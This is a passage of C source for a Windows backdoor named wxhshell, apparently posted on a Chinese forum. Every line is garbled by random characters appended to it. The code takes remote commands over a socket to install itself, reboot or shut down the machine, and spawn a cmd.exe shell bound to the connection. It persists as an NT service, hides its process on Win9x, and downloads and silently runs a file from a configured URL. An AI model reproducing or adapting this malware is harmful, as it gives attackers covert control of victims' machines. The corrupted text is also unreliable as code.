  // 安装 An?#B4:  
  case 'i': { 2Rwd\e.z  
    if(Install()) jd5kkX8=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sieC7raO  
    else E&t8nlTx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :,$"Gk  
    break; E^{!B]/oP  
    } *+6iXMwe  
  // 卸载 (5:pHX`P  
  case 'r': { >y#qn9rV1  
    if(Uninstall()) pih 0ME}z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r.Z g<T  
    else e9Gu`$K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I!kR:Z  
    break; RZnmia  
    } ]D,_<Kk  
  // 显示 wxhshell 所在路径 u+6D|  
  case 'p': { bV'r9&[_6  
    char svExeFile[MAX_PATH]; tfm3IX  
    strcpy(svExeFile,"\n\r"); 2g_mQT  
      strcat(svExeFile,ExeFile); 74 )G.!  
        send(wsh,svExeFile,strlen(svExeFile),0); aEa+?6;D  
    break; \=|=(kt)  
    } vQ2{ +5!|  
  // 重启 e~'z;% O~  
  case 'b': { /d"@$+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PX23M|$!  
    if(Boot(REBOOT)) V)5,E>;EN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SE i\H$ !  
    else { ?< yYm;B  
    closesocket(wsh); 8vR'<_>Q  
    ExitThread(0); z9 #-  
    } 69:-c@ L0  
    break; o F_{oV '  
    } Y1ca=ewFx  
  // 关机 fY78  
  case 'd': { HSU?4=Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S fY9PNck\  
    if(Boot(SHUTDOWN)) %FqQ+0^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t"J{qfNs  
    else { b *0uxvLu  
    closesocket(wsh); #< :`:@2  
    ExitThread(0); >X:!Y[N  
    } K]yWpW  
    break; UpSJ%%.n  
    } !5[SNr3^  
  // 获取shell /$\8?<Pc".  
  case 's': { 6;!)^b  
    CmdShell(wsh); #s>'IPc0  
    closesocket(wsh); jRDvVV/-wr  
    ExitThread(0); 4!96k~d}  
    break; [,ulz4"  
  } ;+o6"ky5  
  // 退出 #CyqiOM\*  
  case 'x': { cAVdH{$"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lMg#zT!?  
    CloseIt(wsh); $txF|Fj]^A  
    break; )~nieQEZQ  
    } {wz_ngQ  
  // 离开 EDnZ/)6Gg  
  case 'q': { p__N6a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rL+.3ZO):P  
    closesocket(wsh); SGy2&{\Z  
    WSACleanup(); IBu\Sh-  
    exit(1); (LXYx<  
    break; fshG ~L7S9  
        } HKO]_; :(  
  } y | I9"R  
  } s0x/2z  
=h ~n5wQG  
  // 提示信息 bd27])n(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1Q9Hs(s  
} i tk/1  
  } ?0JNaf  
[^/a`Kda8  
  return; 2_M+o]Z^  
} 0u( 0*Xl  
*0V'rH)  
// shell模块句柄 $[7/~I>m  
int CmdShell(SOCKET sock) *O[/- p&7  
{ ,PJC FQMR  
STARTUPINFO si; )4:]gx#cr  
ZeroMemory(&si,sizeof(si)); <1* \ ~CX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R4k+.hR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LH`2Y,E  
PROCESS_INFORMATION ProcessInfo; nf&5oE^  
char cmdline[]="cmd"; OpIeo+^X*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w2('75$J  
  return 0; UH\{:@GjNO  
} 4"!kCUB  
B J I N  
// 自身启动模式 7#9%,6Yi  
int StartFromService(void) $T7 qd  
{ #O8=M(- V  
typedef struct >w.%KVBJ  
{ vW?/:  
  DWORD ExitStatus; @B(E&  
  DWORD PebBaseAddress; F :Ps>  
  DWORD AffinityMask; !su773vo  
  DWORD BasePriority; V3a6QcG  
  ULONG UniqueProcessId; El :% \hGy  
  ULONG InheritedFromUniqueProcessId; +$2`"%nBG  
}   PROCESS_BASIC_INFORMATION; m9&%A0  
OTJMS_IT  
PROCNTQSIP NtQueryInformationProcess; ovXk~%_  
o>Dd1 j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X*5N&AJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UVgSO|Tg  
R>;&4Sjr  
  HANDLE             hProcess; e:.?T\  
  PROCESS_BASIC_INFORMATION pbi; ?gvu E1  
E_Y!in 70  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bm%|WQK  
  if(NULL == hInst ) return 0; lq, ]E/<&  
kDM?`(r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U&a(WQV9&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~.0'v [N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l7@cov  
8]1,EE<  
  if (!NtQueryInformationProcess) return 0; IJDbm}:/e  
+KNd%AJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Wyeb1  
  if(!hProcess) return 0; qZ@d:u  
mieyL9*n7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #qD[dC$[t  
]\L+]+u~  
  CloseHandle(hProcess); ];b+f@  
/_Ku:?{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u$(ei2f  
if(hProcess==NULL) return 0; ({!H ()  
UA ]fKi  
HMODULE hMod; ~3f|-%Z  
char procName[255]; gOah5*Lj  
unsigned long cbNeeded; EN}XIa>R  
tXZMr   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )/~o'M3  
oj)(.X<8N  
  CloseHandle(hProcess); N#$]W"U  
PCV#O63[  
if(strstr(procName,"services")) return 1; // 以服务启动 :$PrlE  
(pd~ 2!;C  
  return 0; // 注册表启动 ,\aL v  
} eQn[  
?cKTeGrS  
// 主模块 ,IE.8h)H  
int StartWxhshell(LPSTR lpCmdLine) WpnP^gmX  
{ %f1IV(3Qc  
  SOCKET wsl; Hr!$mf)h  
BOOL val=TRUE; -Wh 2hWg+  
  int port=0; {9x>@p/  
  struct sockaddr_in door; ;f N^MW@&[  
T0)bnjm  
  if(wscfg.ws_autoins) Install(); )EKWsGNe/  
.jtv Hr}U  
port=atoi(lpCmdLine); qfxEo76'  
L%QRWhB  
if(port<=0) port=wscfg.ws_port; (~E-=+R[$&  
z5Tsu1 c  
  WSADATA data; zDbO~.d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aIrM-c8.O  
b0f6p>~q^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C8|#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :eJJL,v  
  door.sin_family = AF_INET; [/VpvQ'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Oe :S1f  
  door.sin_port = htons(port); 6%>'n?  
6?C';1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dG]B-(WTC  
closesocket(wsl); ?K:. Pa  
return 1; c=9A d  
} &1&OXm$  
MV!d*\  
  if(listen(wsl,2) == INVALID_SOCKET) { ;FF+uK  
closesocket(wsl); y;<suGl  
return 1; #<Xq\yC51  
} [m 6+I9  
  Wxhshell(wsl); fqq4Qc)#U&  
  WSACleanup(); [?O4l`  
1sonDBd0@;  
return 0; n00J21  
_<Ij)#Rq7  
} >D}|'.&  
Q .h.d))  
// 以NT服务方式启动 ">eled)O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !IO\g"y~|%  
{ b09xf"D  
DWORD   status = 0; [{)Z^  
  DWORD   specificError = 0xfffffff; /`DKX }  
37Q8Yf_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; llWY7u"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1EC;t1.7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HuU$x;~  
  serviceStatus.dwWin32ExitCode     = 0; z\" .(fIV  
  serviceStatus.dwServiceSpecificExitCode = 0; tY!l}:E[  
  serviceStatus.dwCheckPoint       = 0; ud BIEW,`  
  serviceStatus.dwWaitHint       = 0; N}ND()bf  
S4{vS?>j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !J X7y%J  
  if (hServiceStatusHandle==0) return; M"/Jn[  
jX(${j<  
status = GetLastError(); \)wch P_0  
  if (status!=NO_ERROR) vq+CW?*"  
{  (FaYagD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rBi<Yy$z  
    serviceStatus.dwCheckPoint       = 0; r `n|fD.  
    serviceStatus.dwWaitHint       = 0; {#4a}:3  
    serviceStatus.dwWin32ExitCode     = status; H>;,r ,  
    serviceStatus.dwServiceSpecificExitCode = specificError; G kG#+C0L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <*dcl2xS  
    return; 6-TYOUm  
  } 1IS1P)4_0  
?b{y#du2a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XM w6b*O  
  serviceStatus.dwCheckPoint       = 0; I2*(v%.-  
  serviceStatus.dwWaitHint       = 0; {f)aFGp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kl%[fjI)  
} wCR! bZ w  
ecoI-@CAI  
// 处理NT服务事件,比如:启动、停止 bn8maYUZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |)Dm.)/0)  
{ !t"/w6X1I  
switch(fdwControl) {#,5C H')  
{ t&=bW<6  
case SERVICE_CONTROL_STOP: rr1'| k "  
  serviceStatus.dwWin32ExitCode = 0; .KC V|x;QW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^L)3O|6c  
  serviceStatus.dwCheckPoint   = 0; 9lR6:}L7  
  serviceStatus.dwWaitHint     = 0; V;"2=)X  
  { KW[y+c u.#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q0Q[]|L  
  } "RK"Pn+  
  return; Mog [,{w  
case SERVICE_CONTROL_PAUSE: C,W_0= !e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A:GqR;;"x>  
  break; M:%g)FgW  
case SERVICE_CONTROL_CONTINUE: :/szA?:W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rg k1.0U0  
  break; "#7Q}d!x  
case SERVICE_CONTROL_INTERROGATE: f77W{T4  
  break; F1-"yX1B  
}; eLORG(;h4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7=}tJ  
} r0lI&25w  
Tgtym"=xd  
// 标准应用程序主函数 ~K3Lbd| r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /}>8|#U3y  
{ wzd(= *N  
2)|=+DN;  
// 获取操作系统版本 GQY" +xa8]  
OsIsNt=GetOsVer(); jLI1Ed  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2\k!DF  
*<:X3|3E  
  // 从命令行安装 y'odn ;  
  if(strpbrk(lpCmdLine,"iI")) Install(); m[2[9 bQ0  
*~U.36  
  // 下载执行文件 JWg.0d$hM  
if(wscfg.ws_downexe) { )z@ +|A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uKM` umE  
  WinExec(wscfg.ws_filenam,SW_HIDE); {S9gOg  
} , otXjz  
Ji9o0YR  
if(!OsIsNt) { :'C?uk ?  
// 如果时win9x,隐藏进程并且设置为注册表启动 -p)`ob-  
HideProc(); nKr'cb  
StartWxhshell(lpCmdLine); .u#Hg'oP  
} wUr(i*  
else (UjaL@G  
  if(StartFromService()) .$x}~Sw  
  // 以服务方式启动 9v*y&V9/  
  StartServiceCtrlDispatcher(DispatchTable); JluA?B7E  
else Tr:@Dv.O  
  // 普通方式启动 oYf+I  
  StartWxhshell(lpCmdLine); juWXB+d2Y  
pqpsa'  
return 0; jFe8s@7  
}
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只看该作者 1 发表于: 2006-10-10
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